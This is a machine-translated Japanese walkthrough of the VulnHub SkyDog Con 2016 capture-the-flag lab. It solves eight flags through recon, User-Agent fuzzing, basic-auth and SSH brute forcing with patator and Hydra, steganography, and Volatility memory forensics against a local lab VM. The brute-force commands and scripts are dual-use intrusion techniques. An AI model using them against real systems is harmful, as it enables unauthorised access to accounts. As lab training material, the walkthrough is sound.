CTF SkyDogを使用したVulnHubジョブ分析:2016-可能な場合はキャッチミー







VulnHubを使用して引き続きラボを分析します 。 今回は、最近のSkyDog Con情報セキュリティ会議CTFソリューションを分析します。



始めましょう



VirtualBoxのイメージをダウンロードして実行し、通常どおり、nmapの出力を確認します。



sudo nmap 192.168.1.174 -sV -sC -p1-65535
      
      





非表示のテキスト
2016-12-18 19:39 MSKにNmap 7.01( nmap.org )を開始

192.168.1.174のNmapスキャンレポート

ホストが稼働しています(0.00032秒の遅延)。

ポートステートサービスバージョン

22 / TCPクローズドSSH

80 / tcp open http Apache httpd 2.4.18((Ubuntu))

| _http-server-header:Apache / 2.4.18(Ubuntu)

| _http-title:SkyDog Con CTF 2016-できればキャッチミー

443 / tcp open ssl / http Apache httpd 2.4.18((Ubuntu))

| _http-server-header:Apache / 2.4.18(Ubuntu)

| _http-title:400 Bad Request

| ssl-cert:Subject:commonName = Network Solutions EV Server CA 2 / organizationName = Network Solutions LLC / stateOrProvinceName = VA / countryName = US

| 以前は無効:2016-09-21T14:51:57

| _その後の無効:2017-09-21T14:51:57

| _ssl-date:TLSのランダム性は時間を表さない

22222 / tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1(Ubuntu Linux;プロトコル2.0)

| ssh-hostkey:

| 2048 b6:64:7c:d1:55:46:4e:50:e3:ba:cf:4c:1e:81:f9:db(RSA)

| _ 256 ef:17:df:cc:db:2e:c5:24:e3:9e:25:16:3d:25:68:35(ECDSA)

MACアドレス:08:00:27:D3:70:74(Oracle VirtualBox仮想NIC)

デバイスタイプ:汎用

実行中:Linux 3.X | 4.X

OS CPE:cpe:/ o:linux:linux_kernel:3 cpe:/ o:linux:linux_kernel:4

OSの詳細:Linux 3.10-4.1

ネットワーク距離:1ホップ

サービス情報:OS:Linux; CPE:cpe:/ o:linux:linux_kernel


SSH(22222)、HTTP(80)、HTTPS(443)の3つのポートを使用できます。



フラグ#1-「帰宅しないでくださいフランク! あなたの家には六角形があります»



最初のフラグの説明から判断すると、HEXシーケンスに似たものを探す必要があります。



サイトをすばやく調べても結果は得られませんでした。ファイルとディレクトリのスキャンでも状況が明らかになりませんでした。



 sudo dirsearch -u http://192.168.1.174 -e php,txt,json,bak,html -w /usr/share/dirb/wordlists/big.txt -r -f
      
      









メインページのコードを見ると、次のことがわかります。



 </div> <!--[if IE 8]> <html lang="en" class="ie8"> <![endif]--> <!--[if IE 9]> <html lang="en" class="ie9"> <![endif]--> <!--[If IE4]><script src="/oldIE/html5.js"></script><![Make sure to remove this before going to PROD]--> <!--[if !IE]><!--> <!-- Header -->
      
      





うーん、公開する前にこのコードを削除する必要があるのは奇妙なことです。 /oldIE/html5.jsを見てみると、フラグの説明で言及されているまさにHEXシーケンスが見つかります。







デコードし、最初のフラグを取得します: フラグ{7c0132070a0ef71d542663e9dc1f5dee} 。 これはnmapの md5です。



フラグ#2-「不明またはセキュリティ? それが質問です»



Dirsearchは/人事ページで403をくれました。 詳細を確認するために開いてみますが、それに応じて次のメッセージが表示されます。

アクセスが拒否されました!!! FBIワークステーションから来ているようには見えません。 尋問室の準備1.カーバッテリーの充電....


リクエストのUser-Agentを変更しようとしても、同じ結果が得られます。 Niktoはここでも私たちを助けませんでした。また、サイトの別のバージョンがhttpsでスピンするという希望もありませんでした。 フラグ1にヒントがあり、再びログを見ると仮定して、非標準のsshポートを思い出します。 ルートからそこに接続します:



 ssh root@192.168.1.174 -p 22222
      
      









2番目のフラグ: Flag {53c82eba31f6d416f331de9162ebe997}を見つけます。ここで、 encryptからのハッシュ



フラグ#3-「彼の旅行中にフランクはトラフィックを傍受することが知られている」



ですから、トラフィックの傍受について話しているのです。前のフラグは暗号化を送信します。 ページの読み込み時に発生するSSLトラフィックのダンプを調べる必要があると推測することは難しくありません。

Wiresharkを実行し、サイトからのパッケージのみを表示するようにフィルターを設定します。



ip.addr == 192.168.1.174


192.168.1.174に移動し、利用可能なリンクをクリックしてから、トラフィックを表示します。







見つかったフラグ: flag3 {f82366a9ddc064585d54e3f78bde3221} 、これは従業員からのハッシュであることが判明



PS後で判明したように、https証明書のブラウザプロパティを調べるだけでフラグを見つけることができます。



非表示のテキスト




フラグ#4-「良いエージェントは見つけにくい」



3番目のフラグと説明から、 / personalsページに入るには正しいUser-Agentが必要であるという私の最初の仮定が正しいことがわかりました。



すべてのユーザーエージェントのリストをダウンロードします 。 次に、次のPythonスクリプトを使用して、列挙を開始します。



 import requests import sys url = 'http://192.168.1.174/personnel' ua_file = sys.argv[1] head = {'User-Agent':''} bad_resp = 'ACCESS DENIED!!! You Do Not Appear To Be Coming From An FBI Workstation. Preparing Interrogation Room 1. Car Batteries Charging....' file = open(ua_file, 'r').read().splitlines() for item in file: head['User-Agent'] = item.strip() req = requests.get(url, headers=head) if req.text != bad_resp: print('Found UA: %s' %(item)) print(req.text)
      
      





結果はすぐに来ました:



User-Agentによって検出された行のリスト
UAが見つかりました:Mozilla / 4.0(互換性あり; MSIE 4.01; AOL 4.0; Windows 98)

UAが見つかりました:Mozilla / 4.0(互換性あり; MSIE 4.01; AOL 4.0; Windows 95)

UAが見つかりました:Mozilla / 4.0(互換性あり; MSIE 4.01; AOL 4.0; Mac_68K)

UAが見つかりました:Mozilla / 4.0 PPC(互換性; MSIE 4.01; Windows CE; PPC; 240x320;スプリント:PPC-6700; PPC; 240x320)

UAが見つかりました:Mozilla / 4.0(互換性あり; MSIE 4.01; Windows NT)

UAが見つかりました:Mozilla / 4.0(互換性あり; MSIE 4.01; Windows NT 5.0)

UAが見つかりました:Mozilla / 4.0(互換性あり; MSIE 4.01; Windows CE;スプリント; PPC-i830; PPC; 240x320)

UAが見つかりました:Mozilla / 4.0(互換性あり; MSIE 4.01; Windows CE; Sprint; SCH-i830; PPC; 240x320)

UAが見つかりました:Mozilla / 4.0(互換性あり; MSIE 4.01; Windows CE;スプリント:SPH-ip830w; PPC; 240x320)

UAが見つかりました:Mozilla / 4.0(互換性あり; MSIE 4.01; Windows CE;スプリント:SPH-ip320;スマートフォン; 176x220)

UA:Mozilla / 4.0(互換性あり; MSIE 4.01; Windows CE;スプリント:SCH-i830; PPC; 240x320)

UAが見つかりました:Mozilla / 4.0(互換性あり; MSIE 4.01; Windows CE;スプリント:SCH-i320;スマートフォン; 176x220)

UAが見つかりました:Mozilla / 4.0(互換性あり; MSIE 4.01; Windows CE;スプリント:PPC-i830; PPC; 240x320)

UAが見つかりました:Mozilla / 4.0(互換性あり; MSIE 4.01; Windows CE;スマートフォン; 176x220)

UAが見つかりました:Mozilla / 4.0(互換性あり; MSIE 4.01; Windows CE; PPC; 240x320;スプリント:PPC-6700; PPC; 240x320)

UAが見つかりました:Mozilla / 4.0(互換性あり; MSIE 4.01; Windows CE; PPC; 240x320; PPC)

UAが見つかりました:Mozilla / 4.0(互換性あり; MSIE 4.01; Windows CE; PPC)

UAが見つかりました:Mozilla / 4.0(互換性あり; MSIE 4.01; Windows CE)

UAが見つかりました:Mozilla / 4.0(互換性あり; MSIE 4.01; Windows 98; Hotbar 3.0)

UAが見つかりました:Mozilla / 4.0(互換性あり; MSIE 4.01; Windows 98; DigExt)

UAが見つかりました:Mozilla / 4.0(互換性あり; MSIE 4.01; Windows 98)

UAが見つかりました:Mozilla / 4.0(互換性あり; MSIE 4.01; Windows 95)

UAが見つかりました:Mozilla / 4.0(互換性あり; MSIE 4.01; Mac_PowerPC)

UAが見つかりました:Mozilla / 4.0 WebTV / 2.6(互換性あり; MSIE 4.0)

UAが見つかりました:Mozilla / 4.0(互換性あり; MSIE 4.0; Windows NT)

UAが見つかりました:Mozilla / 4.0(互換性あり; MSIE 4.0; Windows 98)

UAが見つかりました:Mozilla / 4.0(互換性あり; MSIE 4.0; Windows 95; .NET CLR 1.1.4322; .NET CLR 2.0.50727)

UAが見つかりました:Mozilla / 4.0(互換性あり; MSIE 4.0; Windows 95)

UAが見つかりました:Mozilla / 4.0(互換性あり; MSIE 4.0)

UAが見つかりました:Mozilla / 2.0(互換性あり; MSIE 4.0; Windows 98)

UAが見つかりました:nuSearch Spider(互換性あり; MSIE 4.01; Windows NT)




どうやら、FBIはMSIE 4.0のみを使用しているようです:)ブラウザでUser-Agentを置き換えてリンクをクリックすると、HanrattyエージェントFBIポータルが表示され、ページの一番下に次のフラグが表示されます







md5onlineは、それが証拠からのハッシュであることを親切に通知しました。



フラグ#5-「悪魔は細部に宿る-それとも対話か? いずれにせよ、それがシンプル、推測可能、または個人的な場合、ベストプラクティスに反する»



フラグの横に、別の手がかりがnewevidenceであることがわかります。 そして、フラグの説明から、詳細を探す必要があります。



並べ替えられていないリストと並べ替えられたリストの違いはすぐに顕著であり、さらにいくつかの詳細があり、すべてをヒープに入れて次のリストを取得します。

マンハッタン

ハイデルベリー

偉大なアメリカの傑作

マイアミ

2009年7月16日

617468

取るに足らない

新証拠

ハンラッティ


これらのキーワードを長時間検索した後、 リンクを見つけることができます。 調べてみると:

エージェントカールハンラッティ-作品のヒーロー

キャッチ・ミー・イフ・ユー・キャン-ブック

マイアミ-映画のシーン17

ハイデルベルク-フィルムの印刷機


このリストをファイルに追加し、興味深いものを見つけたディレクトリとファイルの検索を開始します。







さて、ログインフォームが見つかりました! Carl Hanrattyというユーザーがいます。フラグの名前から、パスワードは単純なもの、つまり個人情報であると想定できます。



検索に進みます。 可能性のあるログインのディクショナリを生成したらpatatorを実行して、 SecListsディクショナリのセットをフィードします。



 for item in $(find SecLists/ -name "*\.txt"); do sudo patator http_fuzz url=http://192.168.1.174/newevidence auth_type=basic accept_cookie=1 follow=1 -x ignore:code=401 header='User-Agent: Mozilla/4.0 (compatible; MSIE 4.01; Windows NT 5.0)' user_pass="FILE0:FILE1" 0=logins.txt 1=$item; done
      
      





そして、しばらくしてから元の組み合わせを取得します。

情報-200 1462:676 0.011 | carl.hanratty:グレース| 37586 | HTTP / 1.1 200 OK


PS映画や本を詳細に研究した結果、グレースがカールの娘であることが明らかになりました。



承認後、ページにアクセスします。





そして、リンクのいずれかをクリックすると、 フラグ{117c240d49f54096413dd64280399ea9}のフラグが見つかります 。 復号化後、「 panam」という単語が得られます



フラグ#6-「世界のどこにフランクはいる?」



「フランクはどこですか?」-うーん...サイトに戻ると、「 可能性のある場所」リンクが表示され、クリックすると写真が表示されます。



非表示のテキスト




写真は非常にボリュームがあり、他の何かがあることを示唆しています



 sudo binwalk image.jpg
      
      









図では、2Mb MyISAMインデックスファイルがあります。 ネット上で、このファイルの形式の説明を見つけることができます。 調査した結果、MySQLインデックスには探しているフラグを含めることができないことを理解しています。 さらにステガノグラフィを扱っていると仮定して、 steghideの結論を見てみましょう。



コマンドの実行後、パスワードの入力を求められます。



 steghide info image.jpg
      
      





うーん、おもしろいことに、私たちはパナムに入ろうとしますがこの結論が得られます:

「Image.jpg」:

形式:jpeg

容量:230.1 KB

埋め込みデータに関する情報を取得してみませんか? (y / n)y

パスフレーズを入力してください:

埋め込みファイル「flag.txt」:

サイズ:71,0バイト

暗号化:rijndael-128、cbc

圧縮:はい



ファイルを抽出し、次のフラグフラグ{d1e5146b171928731385eb7ea38c37b8}と新しいヒントを見つけるファイルで、 clue = iheartbrenda



フラグ#7-「フランクは小切手換金と叫びに巻き込まれた-私は最速の男だ!」



フラグの説明をグーグル検索することで、 FLASHシリーズへの参照を見つけることができます。Wikiを見ると、次のことがわかります。



映画のネタバレ
フランクは彼を呼び出し、カールをpingしたことを謝罪しようとします。 カールは謝罪を拒否し、すぐに捕まると告げますが、フランクが実際に彼に電話したのを知って笑います。 フランクが電話を切ると、カールは調査を続け、突然「ウェイターのおかげで」「バリーアレン」という名前がフラッシュコミックブックに由来し、フランクが実際にはティーンエイジャーであることを認識しました。



一方、フランクは、医師と弁護士の身元を含めるように詐欺を拡大しました。 博士をプレイしながら フランク・コナーズ、彼はブレンダ(エイミー・アダムス)に恋をする。




しかし、これらのヒントは何を意味するのでしょうか? 最初に忘れられたsshを思い出します。 すべてがすぐに収束し始めました。 iheartbrendaILoveFranceの 2つのフレーズと、いくつかの新しい名前があります。



辞書を生成します
スクリプトの入力に、 姓と名のペアを与えます

フランク・コナーズ

バリー・アレン

カール・ハンラッティ


 #!/bin/bash import sys def Usage(): print('Usage: ./NtoL.py [namelist]') exit(0) if len(sys.argv) <= 1: Usage() nameList = open(sys.argv[1]).read().splitlines() out = open(sys.argv[1], 'w') for item in nameList: item = item.split(' ') out.write( '%s%s\n' %(item[0], item[1]) ) out.write( '%s.%s\n' %(item[0], item[1]) ) out.write( '%s%s\n' %(item[0][0], item[1]) ) out.write( '%s.%s\n' %(item[0][0], item[1]) ) out.write( ('%s%s\n' %(item[0], item[1])).lower() ) out.write( ('%s.%s\n' %(item[0], item[1])).lower() ) out.write( ('%s%s\n' %(item[0][0], item[1])).lower() ) out.write( ('%s.%s\n' %(item[0][0], item[1])).lower() ) out.close()
      
      





出力では、検索用のログインの辞書を取得します。

カールハンラッティ

カール・ハンラッティ

チャンラッティ

C.ハンラッティ

カーハンラッティ

carl.hanratty

チャンラッティ

c.hanratty

バリーアレン

バリー・アレン

バレン

アレン

バリーアレン

barry.allen

バレン

b.allen

フランコナーズ

フランク・コナーズ

FConners

F.コナーズ

率直な

frank.conners

fconners

f。コナーズ




すべてをHydraに送信し、結果はすぐに来る:

 hydra -L logins.txt -P flag7pwd ssh://192.168.1.174 -s 22222
      
      









入力してすぐにフラグを見つけます:







フラグをデコードすると、次のようになります: theflash



フラグ#8-「フランクは心を失ったか、それは彼の記憶でしょう。 彼は建物の中に閉じ込められています。 自分が殺される前にドアのロックを解除するコードを見つけてください!」



フラグを見つけた同じディレクトリに、疑わしいファイルsecurity-system.dataがあります。

さらに分析するために、自分でダウンロードしてください:



 scp -P 22222 barryallen@192.168.1.174:~/security-system.data ./
      
      





そして、私たちがアーカイブになる前に、それを解凍してください:



 $ file security-system.data security-system.data: Zip archive data, at least v2.0 to extract $ 7z x -oSS security-system.data $ cd ./SS $ ls security-system.data $ file security-system.data security-system.data: data
      
      





フォーマットは定義されていませんが、サイズは1GBです。 Binwalkはわかりやすい情報を提供しなかったため、 ボラティリティを試してください。



 volatility -f security-system.data imageinfo
      
      





Volatility Foundationボラティリティフレームワーク2.5

情報:volatility.debug:KDBG検索に基づいたプロファイルの決定...

推奨プロファイル:WinXPSP2x86、WinXPSP3x86(WinXPSP2x86でインスタンス化)

AS Layer1:IA32PagedMemoryPae(カーネルAS)

AS Layer2:FileAddressSpace(/CTF/VulnHub/SkyDog2016/SS/security-system.data)

PAEタイプ:PAE

DTB:0x33e000L

KDBG:0x80545b60L

プロセッサー数:1

イメージタイプ(サービスパック):3

CPU 0のKPCR:0xffdff000L

KUSER_SHARED_DATA:0xffdf0000L

画像の日時:2016-10-10 22:00:50 UTC + 0000

画像のローカル日時:2016-10-10 18:00:50 -0400


さて、WinXP OSのメモリダンプがあります。 それから有用な情報の抽出を始めましょう。それはリストの最初で最も興味深いので、 cmdlineモジュールから始めましょう:



 volatility -f security-system.data --profile=WinXPSP2x86 cmdline
      
      





cmdline
Volatility Foundationボラティリティフレームワーク2.5

******************************************************** ***********************

システムpid:4

******************************************************** ***********************

smss.exe pid:332

コマンドライン:\ SystemRoot \ System32 \ smss.exe

******************************************************** ***********************

csrss.exe pid:560

コマンドライン:C:\ WINDOWS \ system32 \ csrss.exe ObjectDirectory = \ Windows SharedSection = 1024.3072,512 Windows = On SubSystemType = Windows ServerDll = basesrv、1 ServerDll = winsrv:UserServerDllInitialization、3 ServerDll = winsrv:ConServerDllInitialization 2 =オフMaxRequestThreads = 16

******************************************************** ***********************

winlogon.exe pid:588

コマンドライン:winlogon.exe

******************************************************** ***********************

services.exe pid:664

コマンドライン:C:\ WINDOWS \ system32 \ services.exe

******************************************************** ***********************

lsass.exe pid:676

コマンドライン:C:\ WINDOWS \ system32 \ lsass.exe

******************************************************** ***********************

vmacthlp.exe pid:848

コマンドライン:「C:\ Program Files \ VMware \ VMware Tools \ vmacthlp.exe」

******************************************************** ***********************

svchost.exe pid:860

コマンドライン:C:\ WINDOWS \ system32 \ svchost -k DcomLaunch

******************************************************** ***********************

svchost.exe pid:944

コマンドライン:C:\ WINDOWS \ system32 \ svchost -k rpcss

******************************************************** ***********************

svchost.exe pid:1040

コマンドライン:C:\ WINDOWS \ System32 \ svchost.exe -k netsvcs

******************************************************** ***********************

svchost.exe pid:1092

コマンドライン:C:\ WINDOWS \ system32 \ svchost.exe -k NetworkService

******************************************************** ***********************

svchost.exe pid:1144

コマンドライン:C:\ WINDOWS \ system32 \ svchost.exe -k LocalService

******************************************************** ***********************

explorer.exe pid:1540

コマンドライン:C:\ WINDOWS \ Explorer.EXE

******************************************************** ***********************

spoolsv.exe pid:1636

コマンドライン:C:\ WINDOWS \ system32 \ spoolsv.exe

******************************************************** ***********************

VGAuthService.e pid:1900

コマンドライン:「C:\ Program Files \ VMware \ VMware Tools \ VMware VGAuth \ VGAuthService.exe」

******************************************************** ***********************

vmtoolsd.exe pid:2012

コマンドライン:「C:\ Program Files \ VMware \ VMware Tools \ vmtoolsd.exe」

******************************************************** ***********************

wmiprvse.exe pid:488

コマンドライン:C:\ WINDOWS \ system32 \ wbem \ wmiprvse.exe

******************************************************** ***********************

wscntfy.exe pid:536

コマンドライン:C:\ WINDOWS \ system32 \ wscntfy.exe

******************************************************** ***********************

alg.exe pid:624

コマンドライン:C:\ WINDOWS \ System32 \ alg.exe

******************************************************** ***********************

vmtoolsd.exe pid:1352

コマンドライン:「C:\ Program Files \ VMware \ VMware Tools \ vmtoolsd.exe」-n vmusr

******************************************************** ***********************

ctfmon.exe pid:1356

コマンドライン:「C:\ WINDOWS \ system32 \ ctfmon.exe」

******************************************************** ***********************

CCleaner.exe pid:1388

コマンドライン:「C:\ Program Files \ CCleaner \ CCleaner.exe」/ MONITOR

******************************************************** ***********************

cmd.exe pid:1336

コマンドライン:「C:\ WINDOWS \ system32 \ cmd.exe」

******************************************************** ***********************

wuauclt.exe pid:1884

コマンドライン:「C:\ WINDOWS \ system32 \ wuauclt.exe」/ RunStoreAsComServer Local \ [410] SUSDS4ea33fbaffc4ad40bbd1dc3ac93ee5cb

******************************************************** ***********************

wuauclt.exe pid:1024

コマンドライン:「C:\ WINDOWS \ system32 \ wuauclt.exe」

******************************************************** ***********************

notepad.exe pid:268

コマンドライン:「C:\ WINDOWS \ system32 \ NOTEPAD.EXE」C:\ Documents and Settings \ test \ Desktop \ code.txt

******************************************************** ***********************

cmd.exe pid:1276


最後に編集されたファイルはcode.txtです。 次のcmdscanモジュールを実行すると、別の興味深いエントリが見つかります。



 volatility -f security-system.data --profile=WinXPSP2x86 cmdscan
      
      





cmdscan
Volatility Foundationボラティリティフレームワーク2.5

********************************************************

CommandProcess:csrss.exe Pid:560

CommandHistory:0x10186f8アプリケーション:cmd.exeフラグ:割り当て済み、リセット

CommandCount:2 LastAdded:1 LastDisplayed:1

FirstCommand:0 CommandCountMax:50

ProcessHandle:0x2d4

Cmd#0 @ 0x1024400:cdデスクトップ

Cmd#1 @ 0x4f2660:echo 66 6c 61 67 7b 38 34 31 64 64 33 64 62 32 39 62 30 66 62 62 64 38 39 63 37 62 35 62 65 37 36 38 63 64 63 38 31 7d> code.txt



このHEXシーケンスをデコードした後、たとえばここで、最後のフラグを取得します。

フラグ{841dd3db29b0fbbd89c7b5be768cdc81} 、フレーズがハッシュ化されている2つの[スペース]小さな[スペース]マウス



コマンドを実行することにより:



 volatility -f security-system.data --profile=WinXPSP2x86 notepad
      
      





メモ帳からテキストダンプを取得し、これが必要なフラグであることを確認できます。



メモ帳
Volatility Foundationボラティリティフレームワーク2.5

プロセス:268

テキスト:





テキスト:

d



テキスト:





テキスト:





テキスト:

66 6c 61 67 7b 38 34 31 64 64 33 64 62 32 39 62 30 66 62 62 64 38 39 63 37 62 35 62 65 37 36 38 63 64 63 38 31 7d







CTF合格!



All Articles